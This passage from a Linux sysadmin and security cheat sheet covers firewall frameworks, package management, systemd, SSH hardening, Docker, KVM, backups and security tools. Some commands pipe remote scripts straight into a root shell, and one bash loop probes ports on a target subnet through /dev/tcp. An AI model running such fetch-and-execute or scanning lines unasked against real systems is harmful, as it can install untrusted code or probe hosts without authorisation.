iptables -A INPUT -i lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow specific services
iptables -A INPUT -p tcp --dport 22 -j ACCEPT       # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT       # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT      # HTTPS

# Block specific IP
iptables -A INPUT -s 203.0.113.5 -j DROP

# Delete rule
iptables -D INPUT 3                                  # Delete rule 3
iptables -F                                          # Flush all rules

# Save/restore
iptables-save > /etc/iptables/rules.v4
iptables-restore < /etc/iptables/rules.v4

ufw Uncomplicated Firewall

Simpler iptables frontend

ufw status                                           # Check status
ufw enable                                           # Enable firewall
ufw disable                                          # Disable
ufw allow 22/tcp                                     # Allow SSH
ufw allow 80,443/tcp                                 # Allow HTTP/HTTPS
ufw allow from 192.168.1.0/24                        # Allow subnet
ufw deny 23                                          # Block telnet
ufw delete allow 80                                  # Remove rule
ufw reset                                            # Reset to defaults
ufw status numbered                                  # Show rule numbers
ufw delete 3                                         # Delete rule 3

Package Management apt yum dnf pacman

Different distributions use different package managers

Debian/Ubuntu (apt)

apt update                                           # Update package lists
apt upgrade                                          # Upgrade packages
apt full-upgrade                                     # Upgrade with dependency resolution
apt install nmap                                     # Install package
apt remove nmap                                      # Remove package
apt purge nmap                                       # Remove with configs
apt autoremove                                       # Remove unused dependencies
apt search scanner                                   # Search packages
apt show nmap                                        # Package details
apt list --installed                                 # List installed
dpkg -i package.deb                                  # Install local .deb
dpkg -l                                              # List all packages
dpkg -L nmap                                         # Files from package

RedHat/CentOS (dnf/yum)

dnf update                                           # Update all
dnf install nmap                                     # Install
dnf remove nmap                                      # Remove
dnf search scanner                                   # Search
dnf info nmap                                        # Package info
dnf list installed                                   # List installed
rpm -ivh package.rpm                                 # Install RPM
rpm -qa                                              # List all packages
rpm -ql nmap                                         # Files from package

Arch Linux (pacman)

pacman -Syu                                          # Update all
pacman -S nmap                                       # Install
pacman -R nmap                                       # Remove
pacman -Ss scanner                                   # Search
pacman -Si nmap                                      # Package info
pacman -Ql nmap                                      # List files

Compiling from Source

Build software from source code when packages unavailable

# Download source
wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz
cd tool-1.0/

# Configure build
./configure                                          # Check dependencies
./configure --prefix=/opt/tool                       # Custom install location
./configure --help                                   # Show all options

# Compile
make                                                 # Build
make -j4                                             # Parallel build (4 cores)

# Install
sudo make install                                    # Install to system

# Uninstall (if supported)
sudo make uninstall

Systemd Service Management

Systemd controls services on modern Linux

systemctl status sshd                                # Service status
systemctl start sshd                                 # Start service
systemctl stop sshd                                  # Stop service
systemctl restart sshd                               # Restart service
systemctl reload sshd                                # Reload config
systemctl enable sshd                                # Start at boot
systemctl disable sshd                               # Don't start at boot
systemctl enable --now sshd                          # Enable and start
systemctl list-units                                 # All units
systemctl list-units --type=service                  # Services only
systemctl list-units --failed                        # Failed units
systemctl daemon-reload                              # Reload unit files
systemctl reboot                                     # Reboot system
systemctl poweroff                                   # Shutdown

Journal Logs with journalctl

Systemd's binary logging system

journalctl                                           # All logs
journalctl -f                                        # Follow (tail)
journalctl -r                                        # Reverse order
journalctl -n 50                                     # Last 50 entries
journalctl -b                                        # Current boot
journalctl -b -1                                     # Previous boot
journalctl -u sshd                                   # Specific service
journalctl -u sshd -f                                # Follow SSH logs
journalctl --since "2024-11-28 10:00"                # Since time
journalctl --since "1 hour ago"                      # Relative time
journalctl -p err                                    # Errors only
journalctl -p warning                                # Warnings and above
journalctl -o json                                   # JSON output
journalctl --disk-usage                              # Disk usage
journalctl --vacuum-time=2weeks                      # Clean old logs

Creating Custom Systemd Services

Create services that start automatically

Create /etc/systemd/system/myapp.service:

[Unit]
Description=My Application
After=network.target

[Service]
Type=simple
User=appuser
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/start.sh
Restart=on-failure
RestartSec=10

[Install]
WantedBy=multi-user.target

Then:

systemctl daemon-reload
systemctl enable myapp
systemctl start myapp
systemctl status myapp

User and Group Management

useradd -m username                                  # Create user with home
usermod -aG sudo username                            # Add to sudo group
userdel -r username                                  # Delete user and home
passwd username                                      # Set password
groupadd groupname                                   # Create group
groups username                                      # Show user's groups
id username                                          # User and group IDs
who                                                  # Logged in users
last                                                 # Login history

Sudo Configuration and Security

Edit with visudo only:

visudo

Common configurations:

username ALL=(ALL:ALL) ALL                           # Full sudo access
username ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx  # Specific command no password
%admin ALL=(ALL) ALL                                 # Group access

Shell Scripting Fundamentals

#!/bin/bash
# Basic script

NAME="Linux"
echo "Hello $NAME"

read -p "Enter value: " INPUT
echo "You entered: $INPUT"

if [ -f "/etc/passwd" ]; then
    echo "File exists"
fi

for i in {1..5}; do
    echo "Count: $i"
done

function greet() {
    echo "Hello $1"
}

greet "World"

Advanced Bash Scripting

#!/bin/bash
set -euo pipefail  # Exit on error , undefined vars , pipe failures

TARGET=${1:-"192.168.1.0/24"}

# Array
PORTS=(20 21 22 23 25 80 443 3389)

# Loop through array
for port in "${PORTS[@]}"; do
    timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null && \
        echo "Port $port open" || echo "Port $port closed"
done

# Error handling
if ! ping -c 1 8.8.8.8 &>/dev/null; then
    echo "Network down"
    exit 1
fi

Log Analysis and Forensics

# Failed SSH attempts
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# Successful root logins
grep "Accepted.*root" /var/log/auth.log

# Recently modified files
find /etc -type f -mtime -1

# SUID files
find / -perm -4000 -type f 2>/dev/null

# Large files
find / -type f -size +100M 2>/dev/null

# World-writable files
find / -perm -002 -type f 2>/dev/null

Security Hardening SSH

Edit /etc/ssh/sshd_config:

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222
AllowUsers pentester admin
Protocol 2
X11Forwarding no
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
LogLevel VERBOSE

Then systemctl restart sshd


Firewall Configuration Best Practices

# iptables hardening
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROPPED: "

File Integrity Monitoring AIDE

apt install aide
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check
aide --update  # After legitimate changes

Intrusion Detection with Fail2Ban

apt install fail2ban

Edit /etc/fail2ban/jail.local:

[sshd]
enabled = true
port = 22
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
systemctl enable fail2ban
systemctl start fail2ban
fail2ban-client status
fail2ban-client status sshd

Kernel Parameters and sysctl

Edit /etc/sysctl.conf or /etc/sysctl.d/99-security.conf:

net.ipv4.ip_forward = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.log_martians = 1
net.ipv4.icmp_echo_ignore_all = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2

Apply:

sysctl -p

Linux Firewall Frameworks

Linux provides multiple firewall frameworks for packet filtering and network security
Understanding each framework helps choose the right tool for specific security requirements

nftables - Modern Netfilter Framework

nftables replaces iptables as the modern packet filtering framework
Single tool handles IPv4 , IPv6 , ARP , and bridge filtering with better performance

nftables Basics

# Install nftables
sudo apt install nftables
sudo systemctl enable nftables
sudo systemctl start nftables

# View current ruleset
sudo nft list ruleset

# Flush all rules
sudo nft flush ruleset

Creating Tables and Chains

# Create table for IPv4
sudo nft add table ip filter

# Create table for IPv6
sudo nft add table ip6 filter

# Create input chain with drop policy
sudo nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }

# Create output chain with accept policy
sudo nft add chain ip filter output { type filter hook output priority 0 \; policy accept \; }

# Create forward chain
sudo nft add chain ip filter forward { type filter hook forward priority 0 \; policy drop \; }

Adding Rules

# Allow loopback
sudo nft add rule ip filter input iif lo accept

# Allow established/related connections
sudo nft add rule ip filter input ct state established,related accept

# Allow SSH
sudo nft add rule ip filter input tcp dport 22 accept

# Allow HTTP/HTTPS
sudo nft add rule ip filter input tcp dport { 80, 443 } accept

# Allow ping
sudo nft add rule ip filter input icmp type echo-request accept

# Drop invalid packets
sudo nft add rule ip filter input ct state invalid drop

# Block specific IP
sudo nft add rule ip filter input ip saddr 203.0.113.5 drop

# Rate limit SSH connections
sudo nft add rule ip filter input tcp dport 22 ct state new limit rate 3/minute accept

NAT with nftables

# Create NAT table
sudo nft add table ip nat

# Create postrouting chain for masquerading
sudo nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }

# Enable masquerading on external interface
sudo nft add rule ip nat postrouting oif eth0 masquerade

# Port forwarding (forward external 8080 to internal 192.168.1.10:80)
sudo nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
sudo nft add rule ip nat prerouting iif eth0 tcp dport 8080 dnat to 192.168.1.10:80

Save and Restore nftables

# Save current ruleset
sudo nft list ruleset > /etc/nftables.conf

# Restore ruleset
sudo nft -f /etc/nftables.conf

# Make persistent
sudo systemctl enable nftables

Advanced nftables Features

# Named sets for IP lists
sudo nft add set ip filter blacklist { type ipv4_addr \; }
sudo nft add element ip filter blacklist { 192.0.2.1, 192.0.2.2 }
sudo nft add rule ip filter input ip saddr @blacklist drop

# Logging
sudo nft add rule ip filter input tcp dport 22 log prefix \"SSH attempt: \"

# Counters
sudo nft add rule ip filter input counter

# Show statistics
sudo nft list table ip filter

iptables Deep Dive

iptables is the legacy but still widely used firewall framework
Separate tools for IPv4 (iptables) , IPv6 (ip6tables) , ARP (arptables) , bridges (ebtables)

iptables Tables and Chains

Four default tables with different purposes:

  • filter - Default table for packet filtering (INPUT , OUTPUT , FORWARD)
  • nat - Network Address Translation (PREROUTING , POSTROUTING , OUTPUT)
  • mangle - Packet alteration (PREROUTING , INPUT , FORWARD , OUTPUT , POSTROUTING)
  • raw - Configuration exemptions from connection tracking (PREROUTING , OUTPUT)

Complete iptables Configuration

# Flush all rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t mangle -F

# Set default policies
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Allow loopback
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

# Allow established and related
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow SSH with rate limiting
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT

# Allow DNS
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT

# Allow ping with rate limit
sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT

# Drop invalid packets
sudo iptables -A INPUT -m conntrack --ctstate INVALID -j DROP

# Log dropped packets
sudo iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables-dropped: " --log-level 4
sudo iptables -A INPUT -j DROP

iptables NAT Configuration

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf

# Masquerading (SNAT)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.10:80
sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.10 --dport 80 -j SNAT --to-source 203.0.113.1

# Allow forwarded traffic
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A FORWARD -p tcp -d 192.168.1.10 --dport 80 -j ACCEPT

iptables Advanced Matching

# Match multiple ports
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443,8080 -j ACCEPT

# Time-based rules
sudo iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT

# MAC address filtering
sudo iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT

# String matching
sudo iptables -A FORWARD -p tcp --dport 80 -m string --string "malware" --algo bm -j DROP

# Connection limit
sudo iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT

# Geo-blocking with ipset
sudo ipset create china hash:net
sudo ipset add china 1.2.3.0/24
sudo iptables -A INPUT -m set --match-set china src -j DROP

Save and Restore iptables

# Debian/Ubuntu
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
sudo apt install iptables-persistent

# RHEL/CentOS
sudo service iptables save
sudo systemctl enable iptables

# Manual restore
sudo iptables-restore < /etc/iptables/rules.v4

ip6tables - IPv6 Firewall

ip6tables handles IPv6 packet filtering with same syntax as iptables

# Set default policies
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT ACCEPT

# Allow loopback
sudo ip6tables -A INPUT -i lo -j ACCEPT

# Allow established/related
sudo ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow ICMPv6 (critical for IPv6)
sudo ip6tables -A INPUT -p ipv6-icmp -j ACCEPT

# Allow SSH
sudo ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
sudo ip6tables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT

# Block IPv6 if not needed
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT DROP

ebtables - Ethernet Bridge Filtering

ebtables filters at layer 2 (MAC/Ethernet level) for bridge interfaces

# Install ebtables
sudo apt install ebtables

# List rules
sudo ebtables -L

# Block MAC address
sudo ebtables -A INPUT -s 00:11:22:33:44:55 -j DROP

# Allow only specific MACs
sudo ebtables -P INPUT DROP
sudo ebtables -A INPUT -s aa:bb:cc:dd:ee:ff -j ACCEPT

# Block ARP spoofing
sudo ebtables -A INPUT -p ARP --arp-opcode Request -j DROP

# VLAN filtering
sudo ebtables -A FORWARD -p 802_1Q --vlan-id 100 -j DROP

arptables - ARP Filtering

arptables filters ARP packets for ARP spoofing prevention

# Install arptables
sudo apt install arptables

# Block ARP requests from specific IP
sudo arptables -A INPUT -s 192.168.1.100 -j DROP

# Allow only specific IPs to send ARP
sudo arptables -P INPUT DROP
sudo arptables -A INPUT -s 192.168.1.1 -j ACCEPT

# Block all ARP replies
sudo arptables -A OUTPUT --opcode Reply -j DROP

firewalld - Dynamic Firewall Manager

firewalld provides dynamic firewall management with zones and services

# Install firewalld
sudo apt install firewalld
sudo systemctl start firewalld
sudo systemctl enable firewalld

# Check status
sudo firewall-cmd --state

# List zones
sudo firewall-cmd --get-zones
sudo firewall-cmd --get-default-zone
sudo firewall-cmd --get-active-zones

# Add services
sudo firewall-cmd --zone=public --add-service=http
sudo firewall-cmd --zone=public --add-service=https
sudo firewall-cmd --zone=public --add-service=ssh
sudo firewall-cmd --runtime-to-permanent  # Make permanent

# Add ports
sudo firewall-cmd --zone=public --add-port=8080/tcp
sudo firewall-cmd --zone=public --add-port=1000-2000/udp

# Block IP
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="203.0.113.5" reject'

# Port forwarding
sudo firewall-cmd --zone=public --add-forward-port=port=8080:proto=tcp:toport=80:toaddr=192.168.1.10

# Remove service
sudo firewall-cmd --zone=public --remove-service=http

# Reload
sudo firewall-cmd --reload

Framework Comparison and Migration

iptables vs nftables

Feature iptables nftables
Performance Good Better
IPv4/IPv6 Separate tools Single tool
Syntax Complex Cleaner
Updates Kernel recompile Dynamic
Sets Limited Advanced
Future Legacy Active development

Migrating from iptables to nftables

# Translate iptables rules to nftables
sudo iptables-restore-translate -f /etc/iptables/rules.v4 > /etc/nftables-migrated.nft
sudo ip6tables-restore-translate -f /etc/iptables/rules.v6 >> /etc/nftables-migrated.nft

# Review and apply
sudo nft -f /etc/nftables-migrated.nft

# Stop iptables
sudo systemctl stop iptables
sudo systemctl disable iptables

# Enable nftables
sudo systemctl enable nftables
sudo systemctl start nftables

Firewall Security Best Practices

Defense in Depth Strategy

# Layer 1: Drop invalid packets first
sudo nft add rule ip filter input ct state invalid drop

# Layer 2: Rate limiting
sudo nft add rule ip filter input tcp dport 22 limit rate 3/minute accept

# Layer 3: Logging before dropping
sudo nft add rule ip filter input log prefix \"Dropped: \"
sudo nft add rule ip filter input drop

Common Security Rules

# Anti-spoofing
sudo nft add rule ip filter input iif eth0 ip saddr 127.0.0.0/8 drop
sudo nft add rule ip filter input iif eth0 ip saddr 10.0.0.0/8 drop

# SYN flood protection
sudo nft add rule ip filter input tcp flags syn limit rate 10/second accept

# Port scan detection
sudo nft add rule ip filter input tcp flags \& (fin|syn) == (fin|syn) drop
sudo nft add rule ip filter input tcp flags \& (syn|rst) == (syn|rst) drop

# Block fragmented packets
sudo nft add rule ip filter input ip frag-off \& 0x1fff != 0 drop

Container Operations with Docker

Docker provides lightweight application isolation through containerization
Essential for modern deployment and testing environments

Docker Installation

# Ubuntu/Debian
sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER
# Log out and back in for group changes

# Verify installation
docker --version
docker run hello-world

Basic Docker Commands

# Pull images from Docker Hub
docker pull ubuntu
docker pull nginx
docker pull kali-linux/kali-rolling

# List images
docker images
docker image ls

# Run containers
docker run -it ubuntu bash                           # Interactive terminal
docker run -d nginx                                  # Detached mode
docker run -d -p 8080:80 nginx                       # Port mapping
docker run -d --name webserver nginx                 # Named container
docker run -it --rm ubuntu bash                      # Remove after exit

# List containers
docker ps                                            # Running containers
docker ps -a                                         # All containers

# Container management
docker stop container_id
docker start container_id
docker restart container_id
docker rm container_id
docker rm -f container_id                            # Force remove running

# Execute commands in running container
docker exec -it container_id bash
docker exec container_id ls /var/www/html

# View logs
docker logs container_id
docker logs -f container_id                          # Follow logs

# Copy files
docker cp file.txt container_id:/path/
docker cp container_id:/path/file.txt ./

Docker Images and Building

# Build image from Dockerfile
docker build -t myapp:latest .
docker build -t myapp:v1.0 -f Dockerfile.custom .

# Tag and push images
docker tag myapp:latest user/myapp:latest
docker push user/myapp:latest

# Remove images
docker rmi image_id
docker image prune                                   # Remove unused images

Docker Networking

# List networks
docker network ls

# Create network
docker network create mynetwork

# Run container on network
docker run -d --network mynetwork --name db mysql

# Inspect network
docker network inspect mynetwork

Security Considerations

# Run as non-root user
docker run --user 1000:1000 ubuntu

# Read-only filesystem
docker run --read-only ubuntu

# Limit resources
docker run -m 512m --cpus=1 ubuntu                   # 512MB RAM , 1 CPU

# Drop capabilities
docker run --cap-drop ALL ubuntu

Virtualization with KVM and QEMU

KVM (Kernel-based Virtual Machine) provides full virtualization
QEMU handles device emulation and virtual hardware

KVM Installation and Setup

# Check virtualization support
egrep -c '(vmx|svm)' /proc/cpuinfo                   # Should be > 0
lscpu | grep Virtualization

# Install KVM packages (Ubuntu/Debian)
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager
sudo apt install virtinst virt-viewer

# Start and enable libvirt
sudo systemctl start libvirtd
sudo systemctl enable libvirtd

# Add user to groups
sudo usermod -aG libvirt $USER
sudo usermod -aG kvm $USER
# Log out and back in

# Verify installation
sudo virsh list --all
sudo virt-host-validate

Basic VM Management with virsh

# List all VMs
virsh list --all

# Create VM from ISO
virt-install \
  --name ubuntu-vm \
  --ram 2048 \
  --vcpus 2 \
  --disk path=/var/lib/libvirt/images/ubuntu-vm.qcow2,size=20 \
  --os-variant ubuntu20.04 \
  --network bridge=virbr0 \
  --graphics vnc \
  --cdrom /path/to/ubuntu.iso

# Start/stop VMs
virsh start vm_name
virsh shutdown vm_name
virsh destroy vm_name                                # Force stop
virsh reboot vm_name

# Autostart VM on boot
virsh autostart vm_name
virsh autostart --disable vm_name

# Delete VM
virsh undefine vm_name
virsh undefine vm_name --remove-all-storage

# Connect to VM console
virsh console vm_name

# Clone VM
virt-clone --original vm_name --name vm_clone --auto-clone

# Snapshot management
virsh snapshot-create-as vm_name snapshot1
virsh snapshot-list vm_name
virsh snapshot-revert vm_name snapshot1
virsh snapshot-delete vm_name snapshot1

Resource Management

# Adjust VM resources
virsh setmem vm_name 4G                              # Set RAM
virsh setvcpus vm_name 4                             # Set CPUs

# View VM info
virsh dominfo vm_name
virsh vcpuinfo vm_name

Cloud and Remote System Operations

SSH Key Management Beyond Basics

# Generate different key types
ssh-keygen -t ed25519 -C "production-server"
ssh-keygen -t ecdsa -b 521 -C "backup-key"

# Convert key formats
ssh-keygen -p -f ~/.ssh/id_rsa -m pem                # Convert to PEM

# Remove host key
ssh-keygen -R hostname

# View key fingerprint
ssh-keygen -lf ~/.ssh/id_rsa.pub

# Test SSH connectivity
ssh -T git@github.com

Advanced Remote File Operations

# rsync with advanced options
rsync -avz --progress source/ user@remote:/dest/
rsync -avz --delete source/ dest/                    # Mirror (delete extra)
rsync -avz --exclude='*.log' source/ dest/
rsync -avz --include='*.conf' --exclude='*' /etc/ backup/

# scp with bandwidth limit
scp -l 1000 large_file.iso user@remote:/tmp/         # 1000 Kbit/s limit

# Remote archive creation
ssh user@remote 'tar czf - /data' > remote-data.tar.gz

# Parallel file transfer
find . -name "*.iso" | parallel scp {} user@remote:/dest/

Remote System Administration Scripts

# Execute script on multiple servers
for server in server1 server2 server3; do
    ssh user@$server 'bash -s' < local_script.sh
done

# Parallel command execution
parallel-ssh -h hosts.txt -i 'uptime'

# Deploy with rsync and SSH
rsync -avz --delete /local/app/ user@remote:/var/www/app/
ssh user@remote 'systemctl restart nginx'

System Performance and Monitoring

sar System Activity Reporter

# Install sysstat package
sudo apt install sysstat

# Enable data collection
sudo systemctl enable sysstat
sudo systemctl start sysstat

# CPU usage every 1 second
sar -u 1

# Memory usage
sar -r 1

# Disk I/O
sar -d 1

# Network I/O
sar -n DEV 1

# View historical data
sar -u -f /var/log/sysstat/sa28                      # Day 28

Resource Limits with ulimit

# View all limits
ulimit -a

# Set limits for current shell
ulimit -n 4096                                       # Open files
ulimit -u 2048                                       # Max processes
ulimit -s 16384                                      # Stack size
ulimit -m unlimited                                  # Max memory

# Permanent limits in /etc/security/limits.conf
echo "* soft nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* hard nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* soft nproc 4096" | sudo tee -a /etc/security/limits.conf

System Tuning Parameters

# Swappiness (how aggressively kernel swaps)
echo "vm.swappiness=10" | sudo tee -a /etc/sysctl.conf

# File descriptor limits
echo "fs.file-max=2097152" | sudo tee -a /etc/sysctl.conf

# Network tuning
echo "net.core.rmem_max=134217728" | sudo tee -a /etc/sysctl.conf
echo "net.core.wmem_max=134217728" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_rmem=4096 87380 67108864" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_wmem=4096 65536 67108864" | sudo tee -a /etc/sysctl.conf

# Apply changes
sudo sysctl -p

Backup and Recovery Strategies

Tar Archives

# Create compressed backups
tar -czpf backup-$(date +%Y%m%d).tar.gz /home/
tar -cjpf backup.tar.bz2 /etc/                       # bzip2 compression
tar -cJpf backup.tar.xz /var/www/                    # xz compression

# List archive contents
tar -tzf backup.tar.gz
tar -tzf backup.tar.gz | grep "search"

# Extract archives
tar -xzpf backup.tar.gz
tar -xzpf backup.tar.gz -C /restore/path/
tar -xzpf backup.tar.gz file.txt                     # Extract specific file

# Incremental backups
tar -czpf full-backup.tar.gz -g snapshot.file /data/
tar -czpf incr-backup.tar.gz -g snapshot.file /data/

Rsync Backup Strategies

# Local mirror backup
rsync -av --delete /source/ /backup/

# Remote backup with compression
rsync -avz --delete /local/ user@backup-server:/backup/

# Exclude patterns
rsync -av --exclude='*.tmp' --exclude='cache/' /source/ /backup/

# Backup with hard links (saves space)
rsync -av --link-dest=/backup/previous /source/ /backup/current

# Dry run (test without changes)
rsync -avn --delete /source/ /backup/

# Show progress
rsync -av --progress --stats /source/ /backup/

Full System Backup

# Backup entire system
sudo tar -czpf /backup/system-$(date +%Y%m%d).tar.gz \
  --exclude=/proc \
  --exclude=/sys \
  --exclude=/dev \
  --exclude=/tmp \
  --exclude=/run \
  --exclude=/mnt \
  --exclude=/media \
  --exclude=/backup \
  /

# Restore system
cd /
sudo tar -xzpf /backup/system-20241128.tar.gz

Troubleshooting Common Issues

Boot Issues

# View boot messages
dmesg | less
dmesg | grep -i error
journalctl -b                                        # Current boot
journalctl -b -1                                     # Previous boot

# Check boot status
systemctl status
systemctl list-units --failed

# Repair filesystem (from rescue mode)
fsck /dev/sda1
fsck -y /dev/sda1                                    # Auto-fix errors

# GRUB repair
sudo update-grub
sudo grub-install /dev/sda

Network Issues

# Test connectivity
ping -c 4 8.8.8.8
ping -c 4 google.com                                 # Test DNS

# Trace route
traceroute 8.8.8.8
mtr google.com

# Check routing
ip route show
ip route get 8.8.8.8

# DNS troubleshooting
nslookup google.com
dig google.com
cat /etc/resolv.conf

# Interface issues
ip addr show
ip link show
sudo ip link set eth0 up
sudo dhclient eth0                                   # Renew DHCP

Disk Issues

# Check disk usage
df -h
du -sh /*
du -h /var | sort -rh | head -20

# Find large files
find / -type f -size +100M 2>/dev/null
find / -type f -size +1G -exec ls -lh {} \;

# Check filesystem errors
sudo fsck /dev/sda1
sudo e2fsck -f /dev/sda1

# Check for bad blocks
sudo badblocks -v /dev/sda1

# SMART disk health
sudo apt install smartmontools
sudo smartctl -a /dev/sda
sudo smartctl -H /dev/sda                            # Health status

Memory Issues

# Check memory usage
free -h
cat /proc/meminfo

# Top memory consumers
ps aux --sort=-%mem | head -20
top -o %MEM

# Virtual memory stats
vmstat 1 10                                          # 10 samples , 1 sec interval

# Check for OOM (Out of Memory) killer
dmesg | grep -i "out of memory"
grep -i "killed process" /var/log/syslog

# Clear caches (if needed)
sync
echo 3 | sudo tee /proc/sys/vm/drop_caches

Shell Customization and Productivity

Bash Configuration (~/.bashrc)

# Custom prompt with git branch
parse_git_branch() {
    git branch 2>/dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
export PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\[\033[01;31m\]$(parse_git_branch)\[\033[00m\]\$ '

# Useful aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias ..='cd ..'
alias ...='cd ../..'
alias grep='grep --color=auto'
alias df='df -h'
alias du='du -h'
alias ports='netstat -tulanp'
alias myip='curl ifconfig.me'

# Safety aliases
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Quick shortcuts
alias update='sudo apt update && sudo apt upgrade'
alias hosts='sudo vim /etc/hosts'

# Export PATH additions
export PATH=$PATH:/opt/custom/bin
export PATH=$HOME/.local/bin:$PATH

# History settings
export HISTSIZE=10000
export HISTFILESIZE=20000
export HISTCONTROL=ignoredups:erasedups
shopt -s histappend

# Enable color support
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
fi

Tab Completion Setup

# Enable bash completion
if [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
fi

# Custom completion for SSH hosts
_ssh_hosts() {
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(grep -h '^Host' ~/.ssh/config | awk '{print $2}')" -- $cur) )
}
complete -F _ssh_hosts ssh scp

Security Tools and Practices

Rootkit Detection

# Install and run rkhunter
sudo apt install rkhunter
sudo rkhunter --update
sudo rkhunter --check
sudo rkhunter --propupd                              # Update file database

File Integrity Monitoring

# AIDE (Advanced Intrusion Detection Environment)
sudo apt install aide
sudo aideinit
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
sudo aide --check
sudo aide --update                                   # After legitimate changes

Malware Scanning

# ClamAV antivirus
sudo apt install clamav clamav-daemon
sudo freshclam                                       # Update signatures
sudo systemctl start clamav-daemon

# Scan system
clamscan -r /home
clamscan -ri /                                       # Scan everything
clamscan -r --infected --remove /home                # Remove infected files

Log Monitoring

# Logwatch
sudo apt install logwatch
sudo logwatch --detail high --mailto admin@example.com --range today

Intrusion Detection

# OSSEC IDS
wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash
sudo apt install ossec-hids-server

# Start OSSEC
sudo /var/ossec/bin/ossec-control start
sudo /var/ossec/bin/ossec-control status

# Add agents
sudo /var/ossec/bin/manage_agents

Development Environment Setup

Programming Languages

# Python development
sudo apt install python3 python3-pip python3-venv
pip3 install --user virtualenv
python3 -m venv myproject
source myproject/bin/activate

# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt install -y nodejs
node --version
npm --version

# Go programming
sudo apt install golang-go
export GOPATH=$HOME/go
